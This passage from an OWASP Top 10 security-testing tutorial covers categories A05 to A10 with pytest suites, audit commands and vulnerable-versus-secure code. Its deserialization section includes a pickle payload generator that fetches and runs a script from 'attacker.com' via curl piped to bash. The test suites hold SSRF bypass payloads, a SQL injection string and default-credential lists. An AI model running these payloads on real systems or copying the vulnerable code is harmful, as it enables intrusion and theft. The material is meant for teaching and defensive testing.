'Referrer-Policy': lambda v: v != '',
}
for header, validator in required_headers.items():
assert header in headers, f"Missing header: {header}"
assert validator(headers[header]), f"Invalid {header} value"
def test_no_server_version_disclosure(self, client):
"""Server version should not be disclosed"""
response = client.get('/')
# Check Server header
server = response.headers.get('Server', '')
assert not re.search(r'\d+\.\d+', server), \
"Server version disclosed"
# Check X-Powered-By
assert 'X-Powered-By' not in response.headers
# Check body for version info
assert 'PHP/' not in response.text
assert 'ASP.NET' not in response.text
# ========== Error Handling ==========
def test_error_pages_no_info_leak(self, client):
"""Error pages should not leak sensitive information"""
error_triggers = [
'/nonexistent-page',
'/api/users/99999999',
"/api/search?q=' OR 1=1--",
'/api/items/-1',
]
sensitive_patterns = [
r'stack trace',
r'exception',
r'error in',
r'line \d+',
r'/var/www/',
r'c:\\',
r'mysql',
r'postgresql',
r'sqlstate',
]
for url in error_triggers:
response = client.get(url)
for pattern in sensitive_patterns:
assert not re.search(pattern, response.text, re.IGNORECASE), \
f"Sensitive info leaked at {url}: {pattern}"
# ========== Default/Debug Settings ==========
def test_debug_mode_disabled(self, client):
"""Debug mode should be disabled in production"""
# Try to access debug endpoints
debug_endpoints = [
'/__debug__/',
'/debug/',
'/_profiler/',
'/elmah.axd',
'/trace.axd',
'/phpinfo.php',
]
for endpoint in debug_endpoints:
response = client.get(endpoint)
assert response.status_code in [404, 403]
def test_default_credentials(self, client):
"""Default credentials should not work"""
default_creds = [
('admin', 'admin'),
('admin', 'password'),
('admin', '123456'),
('root', 'root'),
('test', 'test'),
('user', 'user'),
]
for username, password in default_creds:
response = client.post('/login', data={
'username': username,
'password': password
})
assert 'Dashboard' not in response.text, \
f"Default credentials work: {username}:{password}"
# ========== Directory/File Exposure ==========
def test_directory_listing_disabled(self, client):
"""Directory listing should be disabled"""
directories = [
'/uploads/',
'/images/',
'/static/',
'/assets/',
'/files/',
]
for directory in directories:
response = client.get(directory)
assert 'Index of' not in response.text
assert 'Directory listing' not in response.text
def test_sensitive_files_not_accessible(self, client):
"""Sensitive files should not be accessible"""
sensitive_files = [
'/.git/config',
'/.env',
'/config.php',
'/wp-config.php',
'/.htaccess',
'/web.config',
'/package.json',
'/composer.json',
'/.svn/entries',
'/backup.sql',
'/database.sql',
]
for file in sensitive_files:
response = client.get(file)
assert response.status_code in [404, 403], \
f"Sensitive file accessible: {file}"
# ========== HTTP Methods ==========
def test_unnecessary_http_methods_disabled(self, client):
"""Unnecessary HTTP methods should be disabled"""
dangerous_methods = ['TRACE', 'TRACK', 'DEBUG']
for method in dangerous_methods:
response = client.open('/', method=method)
assert response.status_code in [405, 501], \
f"Dangerous method enabled: {method}"
# ========== Cloud Misconfiguration ==========
def test_s3_bucket_not_public(self):
"""S3 buckets should not be publicly accessible"""
import boto3
s3 = boto3.client('s3')
buckets = s3.list_buckets()['Buckets']
for bucket in buckets:
acl = s3.get_bucket_acl(Bucket=bucket['Name'])
for grant in acl['Grants']:
grantee = grant['Grantee']
# Check for public access
if grantee.get('URI') == 'http://acs.amazonaws.com/groups/global/AllUsers':
pytest.fail(f"Bucket {bucket['Name']} is publicly accessible")
A06:2021 - Vulnerable and Outdated Components
🎯 Overview
Using components with known vulnerabilities can undermine application defenses.
Impact: Exploitation of known CVEs, data breaches, system compromise.
Real-World Examples
🔴 2017: Equifax - Unpatched Apache Struts (CVE-2017-5638) → 147M records
🔴 2021: Log4Shell (CVE-2021-44228) - Most critical vulnerability in decade
🔴 2022: Spring4Shell (CVE-2022-22965) - Spring Framework RCE
Component Vulnerability Testing
# JavaScript/Node.js
npm audit
npm audit --json > audit-results.json
npm audit fix
# Python
pip-audit
safety check
pip-audit -f json -o audit-results.json
# Ruby
bundle audit
bundle audit check --update
# Java
mvn dependency-check:check
gradle dependencyCheckAnalyze
# .NET
dotnet list package --vulnerable
# Docker images
docker scan myimage:latest
trivy image myimage:latest
# General - Snyk
snyk test
snyk container test myimage:latest
Automated Component Testing
import subprocess
import json
class TestVulnerableComponents:
"""Test for vulnerable dependencies"""
def test_npm_audit(self):
"""No high/critical vulnerabilities in npm packages"""
result = subprocess.run(
['npm', 'audit', '--json'],
capture_output=True, text=True
)
audit = json.loads(result.stdout)
high_vulns = audit.get('metadata', {}).get('vulnerabilities', {}).get('high', 0)
critical_vulns = audit.get('metadata', {}).get('vulnerabilities', {}).get('critical', 0)
assert high_vulns == 0, f"Found {high_vulns} high severity vulnerabilities"
assert critical_vulns == 0, f"Found {critical_vulns} critical vulnerabilities"
def test_python_safety(self):
"""No known vulnerabilities in Python packages"""
result = subprocess.run(
['safety', 'check', '--json'],
capture_output=True, text=True
)
if result.returncode != 0:
vulns = json.loads(result.stdout)
critical = [v for v in vulns if v.get('severity') == 'critical']
assert len(critical) == 0, f"Critical vulnerabilities found: {critical}"
def test_outdated_packages(self):
"""Packages should not be severely outdated"""
result = subprocess.run(
['npm', 'outdated', '--json'],
capture_output=True, text=True
)
if result.stdout:
outdated = json.loads(result.stdout)
major_outdated = []
for pkg, info in outdated.items():
current = info['current'].split('.')[0]
latest = info['latest'].split('.')[0]
if int(latest) - int(current) >= 2:
major_outdated.append(f"{pkg}: {info['current']} → {info['latest']}")
assert len(major_outdated) == 0, \
f"Severely outdated packages: {major_outdated}"
A07:2021 - Identification and Authentication Failures
🎯 Overview
Previously “Broken Authentication”. Confirmation of user identity and session management weaknesses.
Impact: Account takeover, identity theft, unauthorized access.
Authentication Vulnerabilities
┌────────────────────────────────────────────────────────┐
│ AUTHENTICATION VULNERABILITIES │
├────────────────────────────────────────────────────────┤
│ Weak passwords │ No complexity requirements │
│ Credential stuffing │ No rate limiting │
│ Session fixation │ Session ID not rotated │
│ Session hijacking │ Insecure session tokens │
│ Broken "remember me" │ Persistent token issues │
│ Password reset flaws │ Predictable tokens │
│ MFA bypass │ Weak MFA implementation │
└────────────────────────────────────────────────────────┘
Complete Authentication Test Suite
class TestAuthentication:
"""Comprehensive authentication security tests"""
# ========== Password Policy ==========
def test_password_complexity_required(self, client):
"""Password should meet complexity requirements"""
weak_passwords = [
('short', 'Too short'),
('alllowercase', 'Needs uppercase'),
('ALLUPPERCASE', 'Needs lowercase'),
('NoNumbers!!', 'Needs digit'),
('NoSpecial123', 'Needs special character'),
('Password123!', 'Too common'),
('qwerty123!A', 'Keyboard pattern'),
]
for password, reason in weak_passwords:
response = client.post('/register', data={
'username': 'testuser',
'email': 'test@test.com',
'password': password,
'password_confirm': password
})
assert 'Password' in response.text or response.status_code == 400, \
f"Weak password accepted: {password} ({reason})"
def test_password_breach_check(self, client):
"""Password should be checked against known breaches"""
# Common breached passwords
breached = ['password123', '123456789', 'qwerty123', 'letmein123']
for password in breached:
response = client.post('/register', data={
'username': 'testuser',
'email': 'test@test.com',
'password': password + '!A', # Add complexity
'password_confirm': password + '!A'
})
# Should warn about breached password
assert 'breach' in response.text.lower() or \
'compromised' in response.text.lower() or \
response.status_code == 400
# ========== Brute Force Protection ==========
def test_account_lockout(self, client):
"""Account should lock after failed attempts"""
# Create user
client.post('/register', data={
'username': 'locktest',
'email': 'lock@test.com',
'password': 'ValidPass123!',
'password_confirm': 'ValidPass123!'
})
# Try wrong password multiple times
for i in range(10):
response = client.post('/login', data={
'username': 'locktest',
'password': 'WrongPassword123!'
})
# Account should be locked
response = client.post('/login', data={
'username': 'locktest',
'password': 'ValidPass123!' # Correct password
})
assert 'locked' in response.text.lower() or \
response.status_code == 429
def test_ip_rate_limiting(self, client):
"""IP should be rate limited after many requests"""
for i in range(100):
client.post('/login', data={
'username': f'user{i}',
'password': 'wrong'
})
response = client.post('/login', data={
'username': 'legitimate',
'password': 'password'
})
assert response.status_code == 429
# ========== Session Management ==========
def test_session_rotation_on_login(self, client):
"""Session ID should change after login"""
# Get initial session
response = client.get('/')
session_before = client.cookies.get('session')
# Login
client.post('/login', data={
'username': 'testuser',
'password': 'ValidPass123!'
})
session_after = client.cookies.get('session')
assert session_before != session_after, \
"Session ID not rotated after login (session fixation risk)"
def test_session_invalidation_on_logout(self, client):
"""Session should be invalidated on logout"""
# Login
client.post('/login', data={
'username': 'testuser',
'password': 'ValidPass123!'
})
session_id = client.cookies.get('session')
# Logout
client.post('/logout')
# Try to use old session
client.cookies.set('session', session_id)
response = client.get('/dashboard')
assert response.status_code in [401, 302] # Unauthorized or redirect
def test_session_timeout(self, client):
"""Session should timeout after inactivity"""
# Login
client.post('/login', data={
'username': 'testuser',
'password': 'ValidPass123!'
})
# Simulate time passing (adjust based on timeout setting)
import time
time.sleep(31 * 60) # 31 minutes
response = client.get('/dashboard')
assert response.status_code in [401, 302]
def test_concurrent_session_handling(self, client):
"""Multiple sessions should be handled properly"""
# Login from "device 1"
client.post('/login', data={
'username': 'testuser',
'password': 'ValidPass123!'
})
session1 = client.cookies.get('session')
# Login from "device 2"
client2 = app.test_client()
client2.post('/login', data={
'username': 'testuser',
'password': 'ValidPass123!'
})
session2 = client2.cookies.get('session')
# Depending on policy:
# Option A: First session invalidated
# Option B: Both sessions valid (but limited count)
# Option C: User notified of new login
# ========== Password Reset ==========
def test_password_reset_token_strength(self, client):
"""Password reset tokens should be unpredictable"""
tokens = []
for i in range(10):
response = client.post('/reset-password', data={
'email': f'user{i}@test.com'
})
# Extract token from email (in test, might be in response)
token = extract_reset_token(response)
tokens.append(token)
# Tokens should be:
# - Long enough (>= 32 chars)
# - Random (high entropy)
# - Not sequential
for token in tokens:
assert len(token) >= 32, "Reset token too short"
# Check tokens are not sequential
assert len(set(tokens)) == len(tokens), "Tokens are predictable"
def test_password_reset_token_expiry(self, client):
"""Password reset tokens should expire"""
# Request reset
client.post('/reset-password', data={'email': 'test@test.com'})
token = get_reset_token_from_email()
# Wait for expiry (e.g., 1 hour)
time.sleep(3601)
# Try to use expired token
response = client.post('/reset-password/confirm', data={
'token': token,
'password': 'NewValidPass123!',
'password_confirm': 'NewValidPass123!'
})
assert 'expired' in response.text.lower() or \
response.status_code == 400
def test_password_reset_token_single_use(self, client):
"""Password reset tokens should be single-use"""
# Request and use reset token
client.post('/reset-password', data={'email': 'test@test.com'})
token = get_reset_token_from_email()
# Use token
client.post('/reset-password/confirm', data={
'token': token,
'password': 'NewValidPass123!',
'password_confirm': 'NewValidPass123!'
})
# Try to use same token again
response = client.post('/reset-password/confirm', data={
'token': token,
'password': 'AnotherPass123!',
'password_confirm': 'AnotherPass123!'
})
assert response.status_code == 400
# ========== MFA Testing ==========
def test_mfa_cannot_be_bypassed(self, client):
"""MFA should not be bypassable"""
# Login with valid credentials
client.post('/login', data={
'username': 'mfa_user',
'password': 'ValidPass123!'
})
# Should be at MFA prompt, not dashboard
response = client.get('/dashboard')
assert response.status_code == 302 # Redirect to MFA
assert '/mfa' in response.headers.get('Location', '')
# Try to access API directly
response = client.get('/api/user/profile')
assert response.status_code == 401
def test_mfa_rate_limiting(self, client):
"""MFA codes should have rate limiting"""
# Login
client.post('/login', data={
'username': 'mfa_user',
'password': 'ValidPass123!'
})
# Try wrong MFA codes
for i in range(10):
response = client.post('/mfa/verify', data={
'code': f'{i:06d}'
})
# Should be rate limited
response = client.post('/mfa/verify', data={'code': '123456'})
assert response.status_code == 429
A08:2021 - Software and Data Integrity Failures
🎯 Overview
NEW category combining A08:2017-Insecure Deserialization with new risks related to CI/CD and software supply chain.
Impact: Remote code execution, supply chain attacks, malicious updates.
Vulnerability Types
┌────────────────────────────────────────────────────────┐
│ SOFTWARE & DATA INTEGRITY FAILURES │
├────────────────────────────────────────────────────────┤
│ Insecure deserialization │ RCE via object injection │
│ CI/CD attacks │ Compromised pipelines │
│ Unsigned updates │ Malicious software updates │
│ Dependency confusion │ Malicious package names │
│ Code injection │ Compromised dependencies │
└────────────────────────────────────────────────────────┘
Insecure Deserialization
# VULNERABLE: Pickle deserialization
import pickle
@app.route('/load-session')
def load_session():
session_data = request.cookies.get('session')
return pickle.loads(base64.b64decode(session_data)) # RCE!
# Attack payload generator
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl http://attacker.com/shell.sh | bash',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Send as cookie value
# SECURE: Use JSON or signed serialization
import json
from itsdangerous import URLSafeSerializer
serializer = URLSafeSerializer(app.secret_key)
@app.route('/load-session')
def load_session():
session_data = request.cookies.get('session')
return serializer.loads(session_data) # Safe!
CI/CD Security Testing
# GitHub Actions security checks
name: CI Security
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
# Verify commit signatures
- name: Verify GPG signatures
run: |
git verify-commit HEAD || echo "Warning: Unsigned commit"
# Check for secrets in code
- name: Run Gitleaks
uses: gitleaks/gitleaks-action@v2
# Dependency scanning
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
# SAST scanning
- name: Run Semgrep
uses: returntocorp/semgrep-action@v1
# Check for vulnerable dependencies
- name: Audit dependencies
run: npm audit --audit-level=high
A09:2021 - Security Logging and Monitoring Failures
🎯 Overview
Insufficient logging, detection, monitoring, and active response allows attackers to further attack systems.
Impact: Undetected breaches, delayed incident response, compliance failures.
What Should Be Logged
┌────────────────────────────────────────────────────────┐
│ SECURITY EVENTS TO LOG │
├────────────────────────────────────────────────────────┤
│ Authentication │ Logins, failures, lockouts │
│ Authorization │ Access denied events │
│ Input validation │ Rejected malicious input │
│ Session management │ Creation, destruction │
│ Sensitive operations │ Password changes, payments │
│ Admin actions │ User creation, role changes │
│ System events │ Startup, shutdown, errors │
│ Security events │ WAF blocks, rate limiting │
└────────────────────────────────────────────────────────┘
Secure Logging Implementation
import logging
import json
from datetime import datetime
class SecurityLogger:
"""Secure logging with proper formatting and protection"""
def __init__(self):
self.logger = logging.getLogger('security')
handler = logging.FileHandler('/var/log/app/security.log')
handler.setFormatter(logging.Formatter(
'%(asctime)s - %(levelname)s - %(message)s'
))
self.logger.addHandler(handler)
self.logger.setLevel(logging.INFO)
def log_event(self, event_type, user_id, details, ip_address):
"""Log security event with structured data"""
# Sanitize to prevent log injection
sanitized_details = self._sanitize(details)
event = {
'timestamp': datetime.utcnow().isoformat(),
'event_type': event_type,
'user_id': user_id,
'ip_address': ip_address,
'details': sanitized_details,
}
self.logger.info(json.dumps(event))
def _sanitize(self, data):
"""Remove newlines and sensitive data from log entries"""
if isinstance(data, str):
# Prevent log injection
data = data.replace('\n', '\\n').replace('\r', '\\r')
# Mask sensitive data
data = self._mask_sensitive(data)
return data
def _mask_sensitive(self, text):
"""Mask credit cards, SSN, etc."""
import re
# Credit card
text = re.sub(r'\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b',
'****-****-****-****', text)
# SSN
text = re.sub(r'\b\d{3}-\d{2}-\d{4}\b', '***-**-****', text)
# Password fields
text = re.sub(r'password["\']?\s*[:=]\s*["\']?[^"\'&\s]+',
'password=***', text, flags=re.IGNORECASE)
return text
# Usage
security_logger = SecurityLogger()
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
if authenticate(username, request.form['password']):
security_logger.log_event(
'LOGIN_SUCCESS',
user_id=get_user_id(username),
details=f'User {username} logged in',
ip_address=request.remote_addr
)
return redirect('/dashboard')
else:
security_logger.log_event(
'LOGIN_FAILURE',
user_id=None,
details=f'Failed login attempt for {username}',
ip_address=request.remote_addr
)
return 'Invalid credentials', 401
Logging Test Suite
class TestSecurityLogging:
"""Test security logging implementation"""
def test_login_failures_logged(self, client, log_file):
"""Failed logins should be logged"""
client.post('/login', data={
'username': 'admin',
'password': 'wrong'
})
logs = read_log_file(log_file)
assert any('LOGIN_FAILURE' in log for log in logs)
assert any('admin' in log for log in logs)
def test_sensitive_data_masked(self, client, log_file):
"""Sensitive data should be masked in logs"""
# Trigger an error with credit card
client.post('/payment', data={
'card': '4111-1111-1111-1111',
'amount': '100'
})
logs = read_log_file(log_file)
log_content = '\n'.join(logs)
assert '4111-1111-1111-1111' not in log_content
assert '****-****-****-****' in log_content or \
'4111' not in log_content
def test_log_injection_prevented(self, client, log_file):
"""Log injection should be prevented"""
# Try to inject fake log entry
malicious_username = "admin\n2024-01-01 - INFO - Fake log entry"
client.post('/login', data={
'username': malicious_username,
'password': 'wrong'
})
logs = read_log_file(log_file)
# Should not have unescaped newlines
for log in logs:
# Each log should be single line
assert '\n' not in log.strip()
A10:2021 - Server-Side Request Forgery (SSRF)
🎯 Overview
NEW in 2021. SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL.
Impact: Internal network scanning, cloud metadata access, data exfiltration.
SSRF Attack Scenarios
┌────────────────────────────────────────────────────────┐
│ SSRF ATTACK TARGETS │
├────────────────────────────────────────────────────────┤
│ Cloud metadata │ 169.254.169.254 (AWS/GCP/Azure)│
│ Internal services │ localhost, 127.0.0.1, 10.x.x.x│
│ Internal APIs │ Internal microservices │
│ Database │ Redis, MongoDB on localhost │
│ Admin panels │ Internal admin interfaces │
│ File system │ file:// protocol │
└────────────────────────────────────────────────────────┘
SSRF Prevention
import ipaddress
import socket
from urllib.parse import urlparse
# VULNERABLE
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
return requests.get(url).text # No validation!
# SECURE: Comprehensive URL validation
BLOCKED_HOSTS = {'localhost', '127.0.0.1', '0.0.0.0'}
ALLOWED_SCHEMES = {'http', 'https'}
def is_safe_url(url):
"""Validate URL is safe to fetch"""
try:
parsed = urlparse(url)
# Check scheme
if parsed.scheme not in ALLOWED_SCHEMES:
return False
# Check for blocked hosts
hostname = parsed.hostname.lower()
if hostname in BLOCKED_HOSTS:
return False
# Resolve IP and check if private
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or \
ip_obj.is_link_local or ip_obj.is_reserved:
return False
# Block cloud metadata IPs
if ip.startswith('169.254.'):
return False
except socket.gaierror:
return False
# Block specific ports
if parsed.port and parsed.port not in [80, 443]:
return False
return True
except Exception:
return False
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
if not is_safe_url(url):
return 'Invalid URL', 400
# Additional: Use allowlist of domains
allowed_domains = ['api.example.com', 'cdn.example.com']
if urlparse(url).hostname not in allowed_domains:
return 'Domain not allowed', 400
return requests.get(url, timeout=5).text
SSRF Test Suite
class TestSSRF:
"""Test for SSRF vulnerabilities"""
SSRF_PAYLOADS = [
# Localhost variations
'http://localhost/admin',
'http://127.0.0.1/admin',
'http://127.1/admin',
'http://0.0.0.0/admin',
'http://0/admin',
'http://[::1]/admin',
'http://127.0.0.1:22',
'http://127.0.0.1:3306',
# Cloud metadata
'http://169.254.169.254/latest/meta-data/',
'http://169.254.169.254/latest/user-data/',
'http://metadata.google.internal/computeMetadata/v1/',
'http://169.254.169.254/metadata/instance',
# Internal networks
'http://10.0.0.1/',
'http://172.16.0.1/',
'http://192.168.1.1/',
# Protocol handlers
'file:///etc/passwd',
'dict://localhost:11211/stats',
'gopher://localhost:6379/_INFO',
# Bypass attempts
'http://localhost.localtest.me/',
'http://127.0.0.1.nip.io/',
'http://2130706433/', # Decimal IP for 127.0.0.1
'http://0x7f.0x00.0x00.0x01/', # Hex IP
'http://127.0.0.1%00.attacker.com/',
]
def test_ssrf_prevention(self, client):
"""Application should block SSRF attempts"""
for payload in self.SSRF_PAYLOADS:
response = client.get(f'/fetch?url={payload}')
assert response.status_code in [400, 403, 404], \
f"SSRF possible with payload: {payload}"
# Check response doesn't contain internal data
assert 'root:' not in response.text # /etc/passwd
assert 'ami-id' not in response.text # AWS metadata
assert 'private_key' not in response.text
def test_dns_rebinding(self, client):
"""Application should be protected against DNS rebinding"""
# This test requires a DNS rebinding server
# The server alternates between public and private IPs
rebinding_url = 'http://rebind.attacker.com/test'
response = client.get(f'/fetch?url={rebinding_url}')
# Should validate IP after DNS resolution, not just hostname
Practical Labs & Practice
Set Up Your Lab Environment
# 1. OWASP WebGoat
docker run -p 8080:8080 webgoat/webgoat
# 2. DVWA (Damn Vulnerable Web App)
docker run -d -p 80:80 vulnerables/web-dvwa
# 3. Juice Shop
docker run -p 3000:3000 bkimminich/juice-shop
# 4. HackTheBox
# Sign up at hackthebox.com
# 5. PortSwigger Labs
# https://portswigger.net/web-security
OWASP Top 10 Practice Checklist
## Learning Progress Tracker
### A01: Broken Access Control
- [ ] Complete DVWA Access Control labs
- [ ] Find IDOR in Juice Shop
- [ ] Practice path traversal
- [ ] Test JWT vulnerabilities
### A02: Cryptographic Failures
- [ ] Analyze weak encryption
- [ ] Test for sensitive data exposure
- [ ] Check security headers
- [ ] Test SSL/TLS configuration
### A03: Injection
- [ ] Complete all SQLi labs in WebGoat
- [ ] Practice XSS in Juice Shop
- [ ] Test command injection
- [ ] Try NoSQL injection
### A04: Insecure Design
- [ ] Find business logic flaws
- [ ] Test race conditions
- [ ] Check for missing rate limiting
- [ ] Test multi-step processes
### A05: Security Misconfiguration
- [ ] Find exposed admin panels
- [ ] Check default credentials
- [ ] Test for verbose errors
- [ ] Enumerate directories
### A06: Vulnerable Components
- [ ] Run npm audit on projects
- [ ] Use Snyk to find vulnerabilities
- [ ] Practice exploiting Log4Shell
- [ ] Check for outdated libraries
### A07: Authentication Failures
- [ ] Test password policies
- [ ] Check session management
- [ ] Test MFA implementation
- [ ] Find password reset flaws
### A08: Integrity Failures
- [ ] Test for insecure deserialization
- [ ] Check for unsigned updates
- [ ] Review CI/CD security
- [ ] Test data integrity
### A09: Logging Failures
- [ ] Check what's being logged
- [ ] Test for log injection
- [ ] Verify PII masking
- [ ] Check monitoring alerts
### A10: SSRF
- [ ] Test URL fetch features
- [ ] Try cloud metadata access
- [ ] Practice bypass techniques
- [ ] Test webhook endpoints
Summary: OWASP Top 10 Quick Reference
| # | Vulnerability | Test Focus | Key Tools |
|---|---|---|---|
| A01 | Broken Access Control | IDOR, privilege escalation | Burp, manual testing |
| A02 | Cryptographic Failures | HTTPS, password storage | SSLyze, testssl.sh |
| A03 | Injection | SQLi, XSS, command injection | SQLMap, Burp |
| A04 | Insecure Design | Business logic, rate limiting | Manual testing |
| A05 | Security Misconfiguration | Headers, defaults, errors | Nikto, curl |
| A06 | Vulnerable Components | Dependencies | npm audit, Snyk |
| A07 | Authentication Failures | Sessions, passwords, MFA | Burp, manual |
| A08 | Integrity Failures | Deserialization, CI/CD | ysoserial |
| A09 | Logging Failures | Log coverage, masking | Log review |
| A10 | SSRF | URL validation, metadata | Burp, curl |
What’s Next?
- Practice daily - Use WebGoat, DVWA, Juice Shop
- Get certified - CompTIA Security+, CEH, OSCP
- Join bug bounties - HackerOne, Bugcrowd
- Read more - OWASP Testing Guide, Web Hacker’s Handbook
- Stay updated - Follow OWASP, security researchers on Twitter
Master the OWASP Top 10 and become a security-focused QA engineer! 🔐